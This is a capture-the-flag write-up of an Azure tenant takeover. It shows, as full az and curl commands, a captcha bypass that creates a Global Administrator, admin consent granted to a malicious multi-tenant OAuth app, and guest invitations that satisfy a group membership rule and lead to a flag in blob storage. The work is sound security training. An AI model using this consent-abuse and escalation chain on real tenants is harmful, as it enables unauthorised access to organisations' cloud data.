As an APT group targeting Azure, you've discovered a web app that creates admin users, but they are heavily restricted. To gain initial access, you've created a malicious OAuth app in your tenant and now seek to deploy it into the victim's tenant. Can you bypass the restrictions and capture the flag?
The shell environment has been preloaded with your malicious OAuth app credentials and the target web app endpoint as environment variables. Use 'env | grep AZURE' or 'echo $WEB_APP_ENDPOINT' to view them!
Good luck!

We're provided with a shell and some credentials in our environment variables, can print those out and keep them handy

To start, we'll need to authenticate to Azure using the Azure CLI tool az
that we have installed on our shell.
az login --service-principal \
--username $AZURE_CLIENT_ID \
--password $AZURE_CLIENT_SECRET \
--tenant $AZURE_TENANT_ID

The above is expected, "No subscriptions found" just means that the malicious OAuth app (which is a service principal) isn't tied to an Azure subscription. This is fine for using MS Graph and other identity-level operations. We're now authenticated and can use az
commands to hit Microsoft Graph.
But when attempting to pull up the Azure application details via the provided client id variable, I am getting prompted to login again via az login
. This is likely due to some sandboxing restrictions, but we can get around that via using curl
to call the Graph API endpoints directly.

To do this, we want to generate an access token and assign it to a variable using `
ACCESS_TOKEN=$(curl -s -X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=$AZURE_CLIENT_ID" \
-d "client_secret=$AZURE_CLIENT_SECRET" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials" \
"https://login.microsoftonline.com/$AZURE_TENANT_ID/oauth2/v2.0/token" | jq -r '.access_token')
I received a token which is saved for later requests. From here I wanted to see if I could use that token to authenticate to the web application endpoint we were provided, but calls like curl -H "Authorization: Bearer <Token>" $WEB_APP_ENDPOINT
we're providing me with the same HTML response as without authentication.
The response of using curl
to fetch the endpoint gives us a web application to create admin users via a webform.

This web application has some javascript present that we get to analyze for next steps.
// Send the form data to the backend
fetch('/create-user', {
method: 'POST',
body: new URLSearchParams(formData)
})
.then(response => {
// Check if the response status is not OK
if (!response.ok) {
return response.json().then(errorData => {
throw errorData; // Pass the JSON error data to the catch block
});
}
return response.json();
This block gets executed if the user successfully completes a captcha verification after submitting the webform. It seems likely we need to send a request directly to this endpoint. After a bit of tinkering we can submit the following request:
curl -X POST "$WEB_APP_ENDPOINT/create-user" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'firstName=Test&lastName=Name&password=Test@1234!&skipRecaptcha=true'
With this, the web application returns JSON:
{"message":"User created and assigned Global Administrator role successfully","userPrincipalName":"TestName572@azurectfchallengegame.com"}
Seems like this worked! My assumption is that in this scenario the web application performed this action in the same Azure tenant we we're provided credentials for. From here, I want to try and do some enumeration with the credentials we have and see if we can get anywhere. Attempting to login via az login
device code flow and attempting to pass credentials via flags using ROPC both resulted in errors.

This does tell us that this user account is valid, it is Global Admin, but can't sign in to Azure CLI or perform delegated flows. After some thinking I realize that this challenge is likely pointing me to interact with the tenant the created user is present on. I have assumed my provided credentials are on the same tenant, but this isn't actually the case. We can use tool http://whatismytenantid.com/ to find the tenant ID the account was created on, which is different than the $AZURE_TENANT_ID
in my environment variables.
At this point I attempted more to sign in via Entra admin and Azure portals with this credential but it's still denied. When thinking of solutions to this, I am thinking of OAuth compromise situations and typical path we see from threat actors. One of the first things that come to mind is admin consent for multi-tenant applications. To do this, we can construct a admin consent URL and visit it in an incognito window.
https://login.microsoftonline.com/<TENANT>/adminconsent?client_id=<CLIENT_ID>
This time, when attempting to sign in I was prompted to setup MFA, indicating success. I did have to setup MFA to proceed with the Admin Consent permissions request.

After hitting Accept
I was immediately redirected to the following blog post by Wiz:

Now that we have our initially-provided malicious application approved in the tenant of the newly-created admin account, we can use az login
to authenticate to the service principal.
az login --service-principal \
--username $AZURE_CLIENT_ID\
--password $AZURE_CLIENT_SECRET \
--tenant $VICTIM_TENANT \
--allow-no-subscriptions
After authenticating we receive the following output:

We now want an access token for Graph, which we can get via az
as well.
az account get-access-token --resource https://graph.microsoft.com

The accessToken has a JWT appended to the end, which we can decode at jwt.io (which if you don't have bookmarked I highly suggest you do so). We can go ahead and copy-paste the entire access token into the JWT field and the decoded details will be available on the right.

From here, we can see the permissions of the access token in the roles
object.
"roles": [
"Group.Read.All",
"User.Invite.All"
]
So from here it's enumeration again since we have the permission to read all groups in the tenant. We want to use the API endpoint https://graph.microsoft.com/v1.0/groups
to fetch all groups. When calling Graph API, your responses will be in JSON and as such it's best to make it readable by piping the results to jq
. I've also saved our previous access token in $ACCESS_TOKEN
for convenience. Also grep
for flag in the results helped, though not really necessary.
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" https://graph.microsoft.com/v1.0/groups | jq . | grep -C 10 -i "flag"

Seems like this is where we want to go. Unsure of where to go next I assume that we should use both of the permissions our access token has and we need to invite a guest user to the group above matching the conditions of the membership rule. This looks like we can set their display name as something starting with CTF
and creating an email starting with ctf
to cover both bases.
curl -s -X POST https://graph.microsoft.com/v1.0/invitations \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"invitedUserEmailAddress": "ctfXXXX@domain.com",
"inviteRedirectUrl": "https://portal.azure.com",
"displayName": "CTF"
}' | jq .
The response to this request will include an inviteRedeemUrl
, which you can visit to authenticate as the email you selected and gain access to the group as a guest.



From here we can use az login
to authenticate to the tenant using the guest account in the CLI.
az login --tenant <VICTIM_TENANT> --use-device-code

Now being logged in, we want to see what applications we have access to since that was the goal of getting access to the group. We can generate another access token, then pass it to a Graph API call appRoleAssignments
.
ACCESS_TOKEN=$(az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/appRoleAssignments" | jq .[]

From here, we can get details about the application using the resourceId
variable above.
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals/$RESOURCE_ID" | jq
Within the response we see the application points towards the a domain obviously holding out flag:
https://STORAGEACCOUNT.blob.core.windows.net/DIR/file.txt
Now clicking this doesn't get us anywhere, but we can use az storage
to download it to our host and then read it.
az storage blob download --account-name STORAGEACCOUNT --container-name DIR --name FILENAME.txt --file "flag.txt" --auth-mode login
After running this and then cat flag.txt
we get our flag for the challenge.
